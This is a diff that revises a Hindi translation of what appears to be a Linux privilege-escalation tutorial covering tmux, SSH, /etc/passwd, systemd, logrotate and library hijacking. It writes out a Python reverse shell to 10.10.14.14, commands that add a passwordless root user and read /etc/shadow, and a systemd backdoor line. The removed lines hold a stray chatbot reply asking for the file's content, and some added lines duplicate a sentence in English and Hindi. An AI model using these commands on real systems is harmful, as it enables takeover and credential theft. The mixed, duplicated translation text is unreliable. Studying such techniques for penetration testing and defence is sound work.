समस्या **पुराने tmux संस्करणों** के साथ थी। मैं root द्वारा बनाए गए tmux (v2.1) session को एक non-privileged user के रूप में hijack नहीं कर पाया। +यह **old tmux versions** के साथ एक समस्या थी। मैं non-privileged user के रूप में root द्वारा बनाए गए tmux (v2.1) session को hijack नहीं कर पाया। **tmux sessions की सूची** ```bash @@ -1211,7 +1196,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**एक session से जुड़ें** +**सत्र से जुड़ें** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1221,133 +1206,126 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Check **Valentine box from HTB** उदाहरण के लिए। ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -यह बग उन OS पर नए ssh key बनाने के समय होता है, क्योंकि **केवल 32,768 variations संभव थे**। इसका मतलब है कि सभी संभावनाओं की गणना की जा सकती है और **ssh public key होने पर आप संबंधित private key खोज सकते हैं**। आप गणितीय संभावनाएँ यहाँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +September 2006 और May 13th, 2008 के बीच Debian आधारित सिस्टम (Ubuntu, Kubuntu, आदि) पर बनाए गए सभी SSL और SSH keys इस बग से प्रभावित हो सकते हैं.\ +यह बग उन OS में नया ssh key बनाते समय उत्पन्न होता है, क्योंकि **केवल 32,768 संभावनाएँ संभव थीं**. इसका मतलब है कि सभी संभावनाएँ गणना की जा सकती हैं और **ssh public key होने पर आप संबंधित private key खोज सकते हैं**. आप गणना की गई संभावनाएँ यहाँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** यह बताता है कि पासवर्ड authentication की अनुमति है या नहीं। डिफ़ॉल्ट मान `no` है। -- **PubkeyAuthentication:** यह बताता है कि public key authentication की अनुमति है या नहीं। डिफ़ॉल्ट मान `yes` है। -- **PermitEmptyPasswords**: जब password authentication की अनुमति हो, यह निर्दिष्ट करता है कि सर्वर खाली password स्ट्रिंग वाले अकाउंट्स में लॉगिन की अनुमति देता है या नहीं। डिफ़ॉल्ट मान `no` है। +- **PasswordAuthentication:** यह बताता है कि password authentication की अनुमति है या नहीं। डिफ़ॉल्ट `no` है। +- **PubkeyAuthentication:** यह बताता है कि public key authentication की अनुमति है या नहीं। डिफ़ॉल्ट `yes` है। +- **PermitEmptyPasswords**: जब password authentication की अनुमति हो, यह बताता है कि क्या server खाली password वाले अकाउंट्स में login की अनुमति देता है। डिफ़ॉल्ट `no` है। ### PermitRootLogin -यह निर्दिष्ट करता है कि root ssh के माध्यम से लॉग इन कर सकता है या नहीं, डिफ़ॉल्ट `no` है। संभावित मान: +यह निर्दिष्ट करता है कि root ssh का उपयोग करके लॉगिन कर सकता है या नहीं, डिफ़ॉल्ट `no` है। संभावित मान: -- `yes`: root पासवर्ड और private key दोनों से लॉगिन कर सकता है -- `without-password` or `prohibit-password`: root केवल private key से ही लॉगिन कर सकता है -- `forced-commands-only`: root केवल private key का उपयोग करके और तभी लॉगिन कर सकता है जब commands विकल्प निर्दिष्ट हों +- `yes`: root password और private key दोनों का उपयोग करके login कर सकता है +- `without-password` or `prohibit-password`: root केवल private key के साथ ही login कर सकता है +- `forced-commands-only`: root केवल private key का उपयोग करके और जब commands विकल्प निर्दिष्ट हों तभी login कर सकता है - `no` : नहीं ### AuthorizedKeysFile -यह उन फ़ाइलों को निर्दिष्ट करता है जिनमें वे public keys होते हैं जिन्हें user authentication के लिए उपयोग किया जा सकता है। इसमें `%h` जैसे tokens हो सकते हैं, जिन्हें home directory से बदला जाएगा। **आप absolute paths निर्दिष्ट कर सकते हैं** (जो `/` से शुरू होते हैं) या **user के home से relative paths**। For example: +ऐसी फाइलों को निर्दिष्ट करता है जिनमें वे public keys शामिल होती हैं जिन्हें user authentication के लिए उपयोग किया जा सकता है। यह `%h` जैसे tokens रख सकता है, जिसे home directory से बदल दिया जाएगा। **आप absolute paths इंगित कर सकते हैं** (जो `/` से शुरू होते हैं) या **user के home से relative paths**. उदाहरण के लिए: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -यह configuration संकेत करेगा कि यदि आप उपयोगकर्ता "**testusername**" की **private** key से लॉगिन करने का प्रयास करते हैं, तो ssh आपकी key का public key `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में मौजूद keys से तुलना करेगा। +That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding आपको यह अनुमति देता है कि आप अपने सर्वर पर keys (बिना passphrases!) छोड़कर रखने की बजाय **use your local SSH keys instead of leaving keys**. इस तरह आप ssh के माध्यम से **jump** **to a host** कर पाएँगे और वहाँ से किसी दूसरे host पर **jump to another** करते हुए अपने **initial host** में मौजूद **key** का **using** कर सकेंगे। +SSH agent forwarding आपको **use your local SSH keys instead of leaving keys** (without passphrases!) अपने server पर छोड़ने के बजाय उपयोग करने की अनुमति देता है। इसलिए, आप ssh के जरिए **jump** **to a host** कर सकेंगे और वहां से **jump to another** **host** **using** the **key** जो आपके **initial host** में स्थित है। -You need to set this option in `$HOME/.ssh.config` like this: +आपको यह option `$HOME/.ssh.config` में इस तरह सेट करना होगा: ``` Host example.com ForwardAgent yes ``` -ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अलग मशीन पर कूदता है, वह host कीज़ तक पहुँच पाएगा (जो एक सुरक्षा समस्या है)। +ध्यान दें कि अगर `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी दूसरी मशीन पर कनेक्ट होता है, वह होस्ट keys तक पहुँच सकेगा (जो कि एक सुरक्षा समस्या है)। -फ़ाइल `/etc/ssh_config` इस **विकल्प** को **ओवरराइड** कर सकती है और इस कॉन्फ़िगरेशन को अनुमति दे सकती है या अस्वीकार कर सकती है.\ -फ़ाइल `/etc/sshd_config` `AllowAgentForwarding` कीवर्ड के साथ ssh-agent forwarding को **अनुमति** दे सकती है या **निरस्त** कर सकती है (डिफ़ॉल्ट अनुमति है)। +फ़ाइल `/etc/ssh_config` इन **विकल्पों** को **ओवरराइड** कर सकती है और इस कॉन्फ़िगरेशन को अनुमति या अस्वीकृत कर सकती है.\ +फ़ाइल `/etc/sshd_config` `AllowAgentForwarding` कीवर्ड के साथ ssh-agent forwarding को **allow** या **denied** कर सकती है (default is allow). -यदि आप पाते हैं कि Forward Agent किसी environment में कॉन्फ़िगर है तो निम्न पृष्ठ पढ़ें क्योंकि **आप संभवतः इसका दुरुपयोग करके escalate privileges कर सकते हैं**: +यदि आप पाते हैं कि Forward Agent किसी environment में कॉन्फ़िगर है तो निम्न पृष्ठ पढ़ें क्योंकि **आप इसका दुरुपयोग करके escalate privileges कर सकते हैं**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## रोचक फाइलें +## दिलचस्प फ़ाइलें ### प्रोफ़ाइल फ़ाइलें -फ़ाइल `/etc/profile` और `/etc/profile.d/` के अंतर्गत फ़ाइलें **स्क्रिप्ट्स जो तब execute होती हैं जब कोई उपयोगकर्ता नया shell चलाता है**। इसलिए, यदि आप उनमें से किसी को भी **लिख या संशोधित कर सकते हैं तो आप escalate privileges कर सकते हैं**। +फ़ाइल `/etc/profile` और `/etc/profile.d/` के अंतर्गत फ़ाइलें **ऐसे स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब एक उपयोगकर्ता नया shell चलाता है**। इसलिए, यदि आप इनमें से किसी को भी **लिख या संशोधित कर सकते हैं तो आप escalate privileges कर सकते हैं**। ```bash ls -l /etc/profile /etc/profile.d/ ``` -यदि कोई अजीब profile script मिलती है तो आपको इसे **संवेदनशील जानकारी** के लिए जांचना चाहिए। +यदि कोई अजीब profile स्क्रिप्ट मिलती है, तो आपको इसे **संवेदनशील विवरणों** के लिए जाँचना चाहिए। ### Passwd/Shadow फ़ाइलें -OS के अनुसार `/etc/passwd` और `/etc/shadow` फाइलें अलग नाम से हो सकती हैं या उनकी कोई बैकअप मौजूद हो सकती है। इसलिए यह सुझाया जाता है कि आप **सभी को ढूंढें** और **जाँचें कि क्या आप उन्हें पढ़ सकते हैं** ताकि यह देखा जा सके कि फाइलों के अंदर **hashes हैं या नहीं**: +OS के अनुसार `/etc/passwd` और `/etc/shadow` फ़ाइलें किसी अलग नाम से हो सकती हैं या कोई बैकअप मौजूद हो सकता है। इसलिए यह सलाह दी जाती है कि आप **उन सभी को ढूँढें** और **जाँचें कि क्या आप उन्हें पढ़ सकते हैं** ताकि यह देखा जा सके **क्या फ़ाइलों के अंदर hashes हैं**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -कुछ मौकों पर आप **password hashes** को `/etc/passwd` (या समकक्ष) फ़ाइल के अंदर पा सकते हैं। +कभी-कभी आप **password hashes** को `/etc/passwd` (या समकक्ष) फ़ाइल के अंदर पा सकते हैं। ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### लिखने योग्य /etc/passwd -पहले, निम्नलिखित कमांड्स में से किसी एक के साथ एक password जनरेट करें। +पहले, निम्नलिखित में से किसी एक command के साथ एक password जनरेट करें। ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -मुझे फाइल src/linux-hardening/privilege-escalation/README.md की सामग्री चाहिए ताकि मैं इसे निर्दिष्ट नियमों के अनुसार हिंदी में अनुवाद कर सकूँ और फिर उस अनुवादित टेक्स्ट में `hacker` user और जनरेट किया गया पासवर्ड जोड़ सकूं। - -कृपया निम्न बताएं/पेस्ट करें: -- README.md की पूरी सामग्री (या वह हिस्सा जिसे अनुवाद चाहिए)। -- क्या आप चाहेंगे कि जनरेट किया गया पासवर्ड फ़ाइल में कोड फ़ॉर्मेट (backticks) में जोड़ूं? (डिफ़ॉल्ट: हाँ) -- पासवर्ड की लंबाई/जटिलता के लिए कोई प्राथमिकता? (डिफ़ॉल्ट: 16 कैरेक्टर, अक्षर+संख्या+प्रतीक) - -जब आप सामग्री दे देंगे, मैं वही Markdown/HTML टैग और paths/लिंक्स अपरिवर्तित रखते हुए शेष अंग्रेज़ी टेक्स्ट का स्पष्ट और संक्षिप्त हिंदी अनुवाद कर दूँगा और अंत में `hacker` user व जनरेट किया गया पासवर्ड जोड़ दूँगा। +फिर उपयोगकर्ता `hacker` जोड़ें और उत्पन्न पासवर्ड जोड़ें। ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -उदा: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +उदाहरण: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` अब आप `su` कमांड का उपयोग `hacker:hacker` के साथ कर सकते हैं -वैकल्पिक रूप से, आप पासवर्ड के बिना एक डमी उपयोगकर्ता जोड़ने के लिए निम्नलिखित लाइनों का उपयोग कर सकते हैं।\ -चेतावनी: इससे मशीन की मौजूदा सुरक्षा कमजोर हो सकती है। +वैकल्पिक रूप से, आप बिना पासवर्ड के एक नकली उपयोगकर्ता जोड़ने के लिए निम्नलिखित पंक्तियों का उपयोग कर सकते हैं।\ +चेतावनी: आप मशीन की वर्तमान सुरक्षा को कमजोर कर सकते हैं। ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -नोट: BSD प्लेटफ़ॉर्म में `/etc/passwd` का स्थान `/etc/pwd.db` और `/etc/master.passwd` होता है, और `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है। +नोट: BSD प्लेटफ़ॉर्म्स में `/etc/passwd` स्थित है `/etc/pwd.db` और `/etc/master.passwd`, साथ ही `/etc/shadow` का नाम बदलकर `/etc/spwd.db` रखा गया है। -आपको यह जाँचनी चाहिए कि क्या आप **कुछ संवेदनशील फ़ाइलों में लिख सकते हैं**। उदाहरण के लिए, क्या आप किसी **सेवा कॉन्फ़िगरेशन फ़ाइल** में लिख सकते हैं? +आपको यह जाँचनी चाहिए कि क्या आप कुछ संवेदनशील फ़ाइलों में **लिख सकते हैं**। उदाहरण के लिए, क्या आप किसी **सर्विस कॉन्फ़िगरेशन फ़ाइल** में लिख सकते हैं? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -उदाहरण के लिए, अगर मशीन पर **tomcat** सर्वर चल रहा है और आप **/etc/systemd/ के अंदर Tomcat service configuration file को संशोधित कर सकते हैं,** तो आप निम्न लाइनों को संशोधित कर सकते हैं: +उदाहरण के लिए, यदि मशीन पर **tomcat** सर्वर चल रहा है और आप **/etc/systemd/ के अंदर Tomcat सेवा कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं,** तो आप निम्न पंक्तियों को संशोधित कर सकते हैं: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Your backdoor will be executed the next time that tomcat is started. +आपका backdoor तब सक्रिय होगा जब tomcat अगली बार शुरू होगा। -### फ़ोल्डरों की जांच करें +### फ़ोल्डर जांचें -निम्नलिखित फ़ोल्डरों में बैकअप या उपयोगी जानकारी मिल सकती है: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (संभवतः आप आखिरी वाले को पढ़ नहीं पाएँगे, लेकिन कोशिश करें) +इन फ़ोल्डरों में बैकअप या दिलचस्प जानकारी हो सकती है: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (शायद आप आखिरी वाले को पढ़ न पाएं, पर कोशिश करें) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### अजीब स्थान/Owned फ़ाइलें +### अजीब स्थान/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1376,16 +1354,16 @@ find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### छिपी हुई फ़ाइलें +### छिपी फ़ाइलें ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH में Script/Binaries** +### **स्क्रिप्ट/बाइनरी PATH में** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Web फ़ाइलें** +### **वेब फ़ाइलें** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1396,22 +1374,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### पासवर्ड रखने वाली ज्ञात फ़ाइलें +### Known files containing passwords -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) के कोड को पढ़ें, यह **उन कई संभावित फ़ाइलों** की तलाश करता है जिनमें पासवर्ड हो सकते हैं।\ -**एक और दिलचस्प टूल** जिसका आप इसके लिए उपयोग कर सकते हैं: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) जो एक open source application है जो Windows, Linux & Mac पर लोकल कंप्यूटर में संग्रहीत कई पासवर्ड निकालने के लिए प्रयोग होता है। +Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), यह कई संभावित फाइलें खोजता है जो **passwords** रख सकती हैं।\ +**Another interesting tool** जिसे आप इसके लिए उपयोग कर सकते हैं: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) जो एक ओपन सोर्स एप्लिकेशन है, स्थानीय कंप्यूटर पर संग्रहित कई **passwords** निकालने के लिए, Windows, Linux & Mac के लिए। -### लॉग्स +### Logs -यदि आप लॉग्स पढ़ सकते हैं, तो आप उनमें **दिलचस्प/गोपनीय जानकारी** पा सकते हैं। जितना अजीब लॉग होगा, उतना (शायद) अधिक दिलचस्प होगा।\ -इसके अलावा, कुछ **"bad"** कॉन्फ़िगर किए गए (backdoored?) **audit logs** आपको audit logs के अंदर पासवर्ड रिकॉर्ड करने की अनुमति दे सकते हैं जैसा कि इस पोस्ट में बताया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +यदि आप logs पढ़ सकते हैं, तो आप उनमें **रोचक/गोपनीय जानकारी उनके अंदर** पा सकते हैं। जितना अधिक अजीब log होगा, उतना अधिक रोचक होगा (शायद).\ +Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/ ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` **लॉग पढ़ने के लिए समूह** [**adm**](interesting-groups-linux-pe/index.html#adm-group) बहुत मददगार होगा। -### Shell files +### Shell फाइलें ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1424,41 +1402,41 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -You should also check for files containing the word "**password**" in its **नाम** or inside the **सामग्री**, and also check for IPs and emails inside logs, or hashes regexps.\ -मैं यहाँ यह सब कैसे करना है सूचीबद्ध नहीं कर रहा, लेकिन अगर आप रुचि रखते हैं तो आप उन अंतिम चेक्स को देख सकते हैं जो [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform करते हैं। +You should also check for files containing the word "**password**" in its **name** or inside the **content**, and also check for IPs and emails inside logs, or hashes regexps.\ +आपको उन फाइलों की भी जाँच करनी चाहिए जिनके नाम में या उनकी सामग्री में शब्द "**password**" हो, और logs के अंदर IPs और emails या hashes regexps की भी जाँच करें।\ मैं यहाँ यह सब कैसे करना है सूचीबद्ध नहीं कर रहा हूँ लेकिन यदि आप इच्छुक हैं तो आप [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) द्वारा किए गए अंतिम checks देख सकते हैं। -## Writable files +## लिखने योग्य फाइलें ### Python library hijacking -If you know from **कहां से** a python script is going to be executed and you **उस फ़ोल्डर में लिख सकते हैं** or you can **python libraries को modify कर सकते हैं**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). +यदि आप जानते हैं कि एक python script कहाँ से execute होने वाली है और आप उस फ़ोल्डर में **लिख सकते हैं** या आप **python libraries को modify** कर सकते हैं, तो आप OS library को modify करके उसमें backdoor डाल सकते हैं (यदि आप उस जगह लिख सकते हैं जहाँ python script execute होने वाली है, तो os.py library को copy और paste करें)। -os.py लाइब्रेरी के अंत में निम्नलिखित लाइन जोड़कर **library को backdoor करें** (IP और PORT बदलें): +To **backdoor the library** बस os.py library के अंत में निम्नलिखित लाइन जोड़ें (IP और PORT बदलें): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate exploitation -`logrotate` में एक vulnerability ऐसी अनुमति देती है कि जिन उपयोगकर्ताओं के पास किसी लॉग फ़ाइल या उसके parent directories पर **write permissions** हों वे संभावित रूप से escalated privileges हासिल कर सकते हैं। ऐसा इसलिए होता है क्योंकि `logrotate`, जो अक्सर **root** के रूप में चलता है, को मनमाने फ़ाइलों को execute करने के लिए manipulate किया जा सकता है, खासकर उन डायरेक्टरीज़ में जैसे _**/etc/bash_completion.d/**_. केवल _/var/log_ में ही नहीं, बल्कि उन किसी भी डायरेक्टरी में जहाँ log rotation लागू है, permissions चेक करना महत्वपूर्ण है। +`logrotate` में एक कमज़ोरी ऐसी है कि लॉग फ़ाइल या उसके parent डायरेक्टरीज़ पर **लिखने की अनुमति** वाले उपयोगकर्ता संभावित रूप से privileges escalate कर सकते हैं। ऐसा इसलिए होता है क्योंकि `logrotate`, जो अक्सर **root** के रूप में चलता है, को arbitrary फाइलें execute करने के लिए manipulate किया जा सकता है, खासकर उन डायरेक्टरीज़ में जैसे _**/etc/bash_completion.d/**_. यह ज़रूरी है कि permissions की जाँच सिर्फ _/var/log_ में ही न करें बल्कि उन किसी भी डायरेक्टरी में करें जहाँ log rotation लागू होती है। > [!TIP] -> यह vulnerability `logrotate` version `3.18.0` और पुराने पर असर डालती है +> यह कमज़ोरी `logrotate` के version `3.18.0` और पुराने पर असर करती है -इस vulnerability के बारे में अधिक विस्तृत जानकारी इस पृष्ठ पर मिल सकती है: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +इस कमज़ोरी के बारे में अधिक विस्तृत जानकारी इस पेज पर मिल सकती है: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -आप इस vulnerability को [**logrotten**](https://github.com/whotwagner/logrotten) से exploit कर सकते हैं। +आप इस कमज़ोरी का exploit [**logrotten**](https://github.com/whotwagner/logrotten) के साथ कर सकते हैं। -यह vulnerability [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** के बहुत समान है, इसलिए जब भी आप पाते हैं कि आप logs को बदल सकते हैं, तो यह देखें कि कौन उन logs को manage कर रहा है और देखें कि क्या आप logs को symlinks से बदलकर privileges escalate कर सकते हैं। +यह कमज़ोरी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** के बहुत समान है, इसलिए जब भी आप पाते हैं कि आप logs बदल सकते हैं, यह देखें कि कौन उन logs को manage कर रहा है और जांचें कि क्या आप logs को symlinks से बदलकर privileges escalate कर सकते हैं। ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -Vulnerability reference: [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -यदि किसी भी कारण से कोई उपयोगकर्ता _/etc/sysconfig/network-scripts_ में `ifcf-` स्क्रिप्ट लिखने में सक्षम है या किसी मौजूदा स्क्रिप्ट को समायोजित कर सकता है, तो आपकी system pwned हो सकती है। +यदि किसी भी कारण से कोई यूजर _/etc/sysconfig/network-scripts_ में एक `ifcf-` script **लिख** सकता है **या** किसी मौजूदा script को **समायोजित** कर सकता है, तो आपकी **system is pwned**। -Network scripts, जैसे _ifcg-eth0_, नेटवर्क कनेक्शनों के लिए उपयोग किए जाते हैं। ये बिल्कुल .INI files की तरह दिखते हैं। हालांकि, इन्हें Linux पर Network Manager (dispatcher.d) द्वारा \~sourced\~ किया जाता है। +Network scripts, _ifcg-eth0_ उदाहरण के लिए नेटवर्क कनेक्शन्स के लिए उपयोग होते हैं। वे बिल्कुल .INI files की तरह दिखते हैं। हालांकि, इन्हें Linux पर Network Manager (dispatcher.d) द्वारा \~sourced\~ किया जाता है। -मेरे केस में, इन network scripts में `NAME=` attribute सही तरीके से handle नहीं होता। अगर नाम में **white/blank space** हो तो system पहले white/blank space के बाद वाले हिस्से को execute करने की कोशिश करता है। इसका मतलब है कि **पहले blank space के बाद का सब कुछ root के रूप में execute होता है**। +मेरे मामले में, इन network scripts में निर्धारित `NAME=` सही तरीके से handle नहीं किया जाता है। यदि नाम में **white/blank space** है तो system नाम में white/blank space के बाद वाले हिस्से को execute करने की कोशिश करता है। इसका मतलब है कि **पहले blank space के बाद का हर कुछ root के रूप में execute हो जाता है**। For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1466,17 +1444,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Network और /bin/id के बीच रिक्त स्थान को ध्यान में रखें_) +(_ध्यान दें कि Network और /bin/id के बीच एक रिक्त स्थान है_) ### **init, init.d, systemd, and rc.d** -निर्देशिका `/etc/init.d` System V init (SysVinit) के लिए **scripts** का घर है, जो **classic Linux service management system** है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए scripts शामिल होते हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले symbolic links के माध्यम से चलाया जा सकता है। Redhat सिस्टम्स में एक वैकल्पिक पथ `/etc/rc.d/init.d` है। +डायरेक्टरी `/etc/init.d` System V init (SysVinit) के लिए **scripts** का स्थान है — यह पारंपरिक Linux service management system है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए स्क्रिप्ट शामिल होती हैं। इन्हें सीधे चलाया जा सकता है या `/etc/rc?.d/` में पाए जाने वाले symbolic links के माध्यम से। Redhat सिस्टम में वैकल्पिक पथ `/etc/rc.d/init.d` है। -वहीं दूसरी ओर, `/etc/init` **Upstart** से जुड़ा है, जो Ubuntu द्वारा पेश किया गया नया **service management** है और service management कार्यों के लिए configuration files का उपयोग करता है। Upstart में transition के बावजूद, compatibility layer के कारण SysVinit scripts अभी भी Upstart configurations के साथ उपयोग में रहते हैं। +दूसरी ओर, `/etc/init` Upstart से जुड़ा है — Ubuntu द्वारा पेश किया गया नया service management जो service management कार्यों के लिए configuration files का उपयोग करता है। Upstart में संक्रमण के बावजूद, compatibility layer के कारण SysVinit स्क्रिप्ट्स अभी भी Upstart कॉन्फ़िगरेशनों के साथ उपयोग में रहती हैं। -**systemd** एक आधुनिक initialization और service manager के रूप में उभरता है, जो on-demand daemon starting, automount management, और system state snapshots जैसी उन्नत सुविधाएँ प्रदान करता है। यह files को वितरण पैकेजों के लिए `/usr/lib/systemd/` और व्यवस्थापक संशोधनों के लिए `/etc/systemd/system/` में व्यवस्थित करता है, जिससे system administration प्रक्रियाओं को सरल किया जाता है। +**systemd** एक आधुनिक initialization और service manager के रूप में उभरता है, जो on-demand daemon starting, automount management, और system state snapshots जैसी उन्नत सुविधाएँ प्रदान करता है। यह फाइलों को वितरण पैकेजों के लिए `/usr/lib/systemd/` और एडमिन संशोधनों के लिए `/etc/systemd/system/` में व्यवस्थित करता है, जिससे system administration प्रक्रिया सरल हो जाती है। -## अन्य ट्रिक्स +## अन्य तरकीबें ### NFS Privilege escalation @@ -1501,7 +1479,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks आमतौर पर privileged kernel functionality को userspace manager को expose करने के लिए एक syscall को hook करते हैं। कमजोर manager authentication (उदा., FD-order पर आधारित signature checks या कमजोर password schemes) एक local app को manager का impersonate करने और पहले से rooted डिवाइसों पर root तक escalate करने में सक्षम बना सकती है। अधिक जानकारी और exploitation विवरण यहाँ देखें: +Android rooting frameworks अक्सर privileged kernel functionality को userspace manager को एक्सपोज़ करने के लिए एक syscall को hook करते हैं। कमजोर manager authentication (उदा., FD-order पर आधारित signature checks या कमजोर password schemes) एक स्थानीय ऐप को manager का impersonate करने और पहले से-rooted डिवाइसेज़ पर root तक escalate करने में सक्षम बना सकती है। अधिक जानकारी और exploitation विवरण यहाँ देखें: {{#ref}} @@ -1510,15 +1488,15 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -Regex-driven service discovery VMware Tools/Aria Operations में process command lines से एक binary path निकाल सकती है और इसे privileged context में -v के साथ execute कर सकती है। permissive patterns (उदा., \S का उपयोग) writable स्थानों (उदा., /tmp/httpd) में attacker-staged listeners से मिल सकते हैं, जिससे root के रूप में execution हो सकता है (CWE-426 Untrusted Search Path)। +VMware Tools/Aria Operations में regex-driven service discovery प्रक्रिया command lines से किसी binary path को निकाल सकती है और 